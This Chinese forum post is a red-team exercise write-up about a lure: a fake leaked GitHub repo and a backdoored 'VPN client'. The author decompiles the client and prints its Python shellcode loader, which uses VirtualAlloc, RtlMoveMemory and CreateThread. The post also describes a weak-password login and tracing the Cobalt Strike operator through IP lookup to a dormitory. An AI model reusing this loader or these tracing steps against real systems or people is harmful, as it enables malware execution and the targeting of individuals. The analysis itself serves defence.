攻防演练分析溯源实战 | 详细案例解析

在一次攻防演练中,我偶然发现了伪装成GitHub信息泄漏,从而导致对红队人员进行钓鱼的后门。

0x01 信息收集

GitHub信息泄漏

在根据甲方提供的信息进行常规的GitHub敏感信息收集时,我意外地发现一个不寻常的仓库。

图片[1]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

仔细观察后,我发现里面泄漏了MySQL账号密码,于是兴致勃勃地打开Navicat尝试连接。

图片[2]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

然后,我访问了仓库源码的8080端口,发现了一个管理后台。

图片[3]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

弱口令

对于后台,我尝试使用一些弱口令,例如admin/admin,果然成功登录。

图片[4]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

进入后,竟然发现了账号密码,而且客户端解压密码居然都贴心地放在那。

图片[5]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

在这一步,我并没有意识到任何异常,以为我能够顺利获取VPN入口权限,于是急忙下载VPN客户端。

解压后的文件看起来还没发现异常。

图片[6]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

分析溯源

在虚拟机中仔细观察时,却发现VPN客户端提示不兼容当前系统,同时弹窗中有Python代码编写的特征。这使得前面的攻击过程显得过于顺利,有些不自然,引起了我的警觉。

包括前面弱口令的提交方式居然是admin.php?user=admin&passwd=admin。

图片[7]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

由于发现VPN客户端是用Python语言编写的,这更让我感到不对劲,于是尝试对其进行反编译。

解包

<code>python3 pyinstxtractor.py vpnclient64.exe</code>
图片[8]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

生成一个名为exe文件名+_extracted的文件夹,里面包含解包后的数据。

图片[9]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

由于PyInstaller打包后,pyc文件的前8个字节会被抹掉,因此需要手动添加回去。

添加头

根据struct.py文件进行添加。

图片[10]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛
图片[11]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

源码

得到easyvpn64.py为后门主程序的py文件,其中执行shellcode代码隐藏在图片中。

图片[12]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛
<code># easyvpn64.py import base64 import ctypes str = b'' sc_base64 = (base64.a85decode(str)).decode('utf-8') shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8'))) ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))</code>

得知shellcode loader的加载方式后,我成功提取了CS回连地址。

图片[13]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

溯源

通过回连地址cs.xxx.cn进行nslookup解析,然后根据IP地址定位到某个宿舍。

图片[14]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

最终,我直接溯源到人,并通过Telegram进行相关沟通。

图片[15]-攻防演练分析溯源实战 | 详细案例解析-山海云端论坛

总结

在攻防演练中,务必保持警惕,防止被钓鱼。同时,这次的钓鱼事件让我警觉到一些攻击的痕迹,以便更加谨慎地处理类似情况。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容